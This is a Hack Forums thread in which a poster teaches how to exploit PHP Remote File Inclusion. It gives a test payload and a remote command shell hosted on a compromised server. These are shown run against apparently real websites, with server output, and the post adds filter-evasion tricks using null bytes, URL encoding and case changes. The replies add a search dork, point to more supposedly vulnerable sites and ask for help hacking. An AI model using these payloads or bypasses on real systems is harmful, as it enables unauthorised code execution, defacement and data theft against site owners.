

Forum:[Hack Forums](#)

Thread: [\[TUT\] Exploiting a Remote File Inclusion Vulnerability \(Filter Evasion\) \[Pics!\]](#)

-DownFall - February 29, 2012, 8:00 am

Today I'm going to be showing you how to exploit RFI vulnerabilities.

Remote File Inclusion

Quote:Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

- Code execution on the web server

- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).

- Denial of Service (DoS)

- Data Theft/Manipulation

Important Factors

Exploiting RFI is fairly simple, the hard part is finding it + filter evasion (if necessary). Similar to Local File Inclusion, instead of including a local file, you include a remote file that executes commands on the webserver. Here's what the vulnerable snippet looks like.

Code <?

```
$page=$_GET['page'];
```

```
include($page);
```

```
?>
```

Now there's a couple factors that we need to go over. `allow_url_fopen` and `allow_url_include` must be enabled in the website's PHP configuration.

Quote:This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers.

[Source](#)

Exploiting RFI

Now once you've confirmed that these options are enabled, here's how you'd go through with exploiting it.

Now this isn't mandatory, but I uploaded 2 scripts on a shelled webhost to test my sites for RFI vulnerabilities. One is called `RFI.txt`, and one is `vuln.txt`.

RFI.txt

```
Code <? system('uname -a'); ?>
```

vuln.txt

Code <? system(\$_GET['cmd']); ?>

The first one should show the kernel information, but I use it as a vulnerability test. The second one is my command shell, once I've confirmed that the site is executing my remote file.

Code <http://www.site.com/index.php?page=http://www.site.com/RFI.txt>

So mine looks like this...

Code <http://www.looking-better.com/index.php?page=http://medimove.co.in/RFI.txt>

Spoiler ([Click to View](#))

Code Linux box715.bluehost.com 2.6.32-46.1.BHsmp #1 SMP Tue Sep 6 12:18:02 MDT 2011
x86_64 x86_64 x86_64 GNU/Linux

And as you can see, I get the kernel version. That means that my remote file was successfully included, and got executed on the webserver.

Now we can use vuln.txt as a command shell.

Code [http://www.site.com/index.php?page=http://www.site.com/vuln.txt&cmd=\[COMMAND HERE\]](http://www.site.com/index.php?page=http://www.site.com/vuln.txt&cmd=[COMMAND HERE])

Code <http://www.looking-better.com/index.php?page=http://medimove.co.in/vuln.txt&cmd=ls -a>

Spoiler ([Click to View](#))

Code . . . htaccess 1946734.html 400.shtml 401.shtml 403.shtml 404.shtml 500.php 500.shtml
about.php about.txt administrator cache cgi-bin cgi-bin.php components contact.php contact.txt
error_log favicon.ico fractionsofmemories gallery gallery.php gallery.txt getpost.php hereislondon
hereisparis home.php home.txt images includes index.php js.php language libraries logs media
modules mysecretmakeover orders plugins robots.txt site_admin sivanshapira slide style.php
templates terms.php thanks.php tmp upload.php uploadform.php vidtur wp-content xmlrpc

Now you can include your shell, or whatever script you want to execute.

Code <http://www.site.com/index.php?page=http://www.site.com/shell.txt>

So mine looks like this...

Code www.looking-better.com/index.php?page=http://medimove.co.in/winning.txt

Spoiler ([Click to View](#))

Filter Evasion

Now some sites have firewalls installed to prevent attacks like this. Here's a couple methods to get around them..

Null Byte

Code <http://www.stite.com/index.php?page=http://www.site.com/shell.txt> - Blocked

<http://www.stite.com/index.php?page=http://www.site.com/shell.txt?%00> - Bypassed

URL Encoding

Code <http://www.stite.com/index.php?page=http://www.site.com/shell.txt> - Blocked

<http://www.stite.com/index.php?page=http%3A%2F%2Fwww.site.com%2Fshell.txt> - Bypassed

* Case Changing

Code <http://www.stite.com/index.php?page=http://www.site.com/shell.txt> - Blocked

<http://www.stite.com/index.php?page=Http://wWw.SttE.CoM/shell.txt> - Bypassed

Or you can use a combination of them all...

Code <http://www.stite.com/index.php?page=htp%3A%2F%2Fwww.SitE.com%2Fshell.txt?%00>

Well there's my short tut on exploiting RFI, enjoy and happy hacking.

Spoiler ([Click to View](#))inb4 this site gets shelled

Hooded Robin - February 29, 2012, 10:09 am

Nice tut man, I have had mine written for some time but no sites found to use for pics - looks like you beat me to the punch :p

gerardoxd - February 29, 2012, 10:14 am

Very good tutorial, but in this day and age there are not many sites vulnerable to RFI but still good stuff for those newly initiated into the world of defacing

Dyme - February 29, 2012, 10:15 am

Good tutorial. Only hard part is really finding a site like you said. Searching right now...

preetam - February 29, 2012, 10:27 am

use this google dork to check RFI may be its useful.

Quote:inurl:iframe.php?file

-DownFall - February 29, 2012, 10:34 am

(Feb 29, 2012 11:09 AM)Hooded Robin Wrote: ([CITE](#)) Nice tut man, I have had mine written for some time but no sites found to use for pics - looks like you beat me to the punch :p
Should have looked through the 40 LFI vulns, if allow_url_include = on, it's LFI and RFI lol.

Thanks too ^^

ProElite - February 29, 2012, 10:40 am

Thanks for the tutorial mate, helpfull ;)

Oxy - February 29, 2012, 10:40 am

Great tutorial!

Bookmarked and adding this to my mass thread!

Thanks for sharing.

VipVince - February 29, 2012, 12:32 pm

Great tutorial man. Shame this method is rather rare :(

Zhen. - February 29, 2012, 12:33 pm

(Feb 29, 2012 01:32 PM)VipVince Wrote: ([CITE](#)) Great tutorial man. Shame this method is rather rare :(

Agreed :/

Only 10% or less this vuln exist.

I would be lucky if I found one lol

Nevertheless, great work -Downfall

Sw1x - February 29, 2012, 12:35 pm

Great tutorial, did Kobez make a similar one?

Anyway great work man! :)

-DownFall - February 29, 2012, 3:07 pm

(Feb 29, 2012 01:35 PM)Sw1x Wrote: [\[CITE\]](#) Great tutorial, did Kobez make a similar one?

Anyway great work man! :)
Not sure, wouldn't be surprised, he's an OG lol.
Thanks anyways.

Oxy - March 1, 2012, 3:36 am

(Feb 29, 2012 01:35 PM)Sw1x Wrote: [\[CITE\]](#) Great tutorial, did Kobez make a similar one?

Anyway great work man! :)
No kobez doesn't make tutorials. he uses others in his threads.
probably that's why you seen this before.

kobez is great to bad he does not like to write tutorials.
even though he was my mentor once XD

XoR1337 - March 1, 2012, 4:29 am

Nice tutorial bro, i will use it in the future, thanks :D

BlueValley - March 1, 2012, 2:28 pm

Thanks for your nice tutorials,i will use them :)

vishnusharekhan - March 21, 2012, 11:51 am

<http://bca.gnu.ac.in/index.php?file=site>

this is a RFI vanurable..

digitalsannity - March 21, 2012, 2:16 pm

can someone help me setup my shell please?

BeggFoMercy - March 21, 2012, 2:26 pm

Nice TUT MEN <3 keep it up Your helping us all out :)

MISTUGAN - August 25, 2012, 3:20 pm

Very detailed tutorial dude...
Thank for sharing...

bbmayem - June 6, 2013, 2:30 am

thanks for sharing this ,;-)

i will try this

Enchantment - June 6, 2013, 10:48 pm

Nice tutorial, -DownFall.

I wonder when you will be back.

Caseus - June 11, 2013, 2:24 am

Very nice tutorial, I like the detail you put into it.

Nexusus - July 14, 2013, 5:50 pm

Tnx, great tutorial

keep up the good work
:)

KSA4 - July 14, 2013, 6:55 pm

Amazing! I know it's old thready but it still amazing.

And most vulnerabilities as simple its as hard to find, since most people think as professionals ;) and only the Real Hacker know that.

Dc0d3b0y - July 14, 2013, 6:59 pm

Nice bro.. Tutorials like this made me know about RFI gone at those days when their was so many softwares for rfi it was so much fun..

radugabri - July 15, 2013, 8:28 am

Thank you can someone help to hack a site? send me pm

w3areanonymous - November 8, 2013, 12:58 pm

Sweet tutorial. Thanks for sharing it , Keep it up bro

spartakexer - November 8, 2013, 3:36 pm

<http://showcase.24sata.hr/wordpress/wp-includes/>

try to hack this and display results, thank you

?Bruno - November 9, 2013, 3:08 am

This is one the best method and never old.

Thanks you for sharing!

Kashmiri Hunter - May 24, 2016, 2:31 am

Great Tutorial and Good explanation.Thanks For Sharing